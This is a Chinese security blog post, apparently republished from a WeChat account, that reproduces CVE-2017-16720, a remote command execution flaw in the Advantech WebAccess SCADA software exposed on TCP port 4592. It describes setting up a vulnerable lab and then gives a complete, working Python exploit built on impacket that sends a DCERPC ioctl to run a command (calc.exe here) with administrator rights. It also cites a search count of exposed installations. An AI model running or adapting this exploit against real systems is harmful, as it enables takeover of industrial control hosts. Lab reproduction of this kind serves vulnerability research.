【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现

admin 2022年5月4日20:27:36评论274 views字数 1932阅读6分26秒阅读模式

漏洞编号

CVE-2017-16720

漏洞说明

研华WebAccess是全世界第一套全浏览器架构的HMI/SCADA组态软件,可以无缝整合研华工业自动化事业群的产品,主要分为智能基础建设与智能制造两大类,这两类产品也同时组成了研华在智能自动化的物联网架构,而研华WebAccess正是这个物联网架构的核心。

此漏洞允许攻击者使用RPC协议通过TCP端口4592执行远程命令。

通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe服务将命令行指令传递给主机, webvrpcs.exe服务以管理员访问权限运行。版本小于8.3、8.3.1、8.3.2仍然存在特定的安全漏洞。

影响范围

在FOFA中搜索app="Advantech-WebAccess"词条,共检索出635条结果(不排除已修复的系统)。

【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现

漏洞复现

通过官方渠道,下载存在该漏洞的版本程序

http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe

安装环境:Windows Server 2008 R2 x64

安装一律默认NEXT即可,TCP端口也无需自定义,默认程序端口4592。

【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现

安装完成后重启计算机,查看本机开放端口情况。

【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现

可以看到端口4592已经正常开放。

【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现

使用CVE-2017-16720的EXP脚本,对搭载Advantech WebAccess 8.2-2017.08.18程序的服务器进行攻击。

【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现

如果漏洞攻击成功,利用EXP脚本发送系统命令执行指令到服务器上,服务器会执行对应指令,弹出计算器。

【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现


【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现


可以看到服务器弹出了计算器,证明漏洞利用成功!

附件

CVE-2017-16720-EXP.py

#!/usr/bin/python2.7

import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception, e:
print "Exception encountered..." + str(e)
sys.exit(1)
return res

if len(sys.argv) != 2:
print "Provide only host arg"
sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

dce = trans.get_dce_rpc()
dce.connect()

print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print "Something went wrong"
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print "Received unexpected length value"
sys.exit(1)

print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\..\windows\system32\calc.exe"
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)

print "nDid it work?"

dce.disconnect()

原文始发于微信公众号(白帽子):【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月4日20:27:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现http://cn-sec.com/archives/973446.html

发表评论

匿名网友 填写信息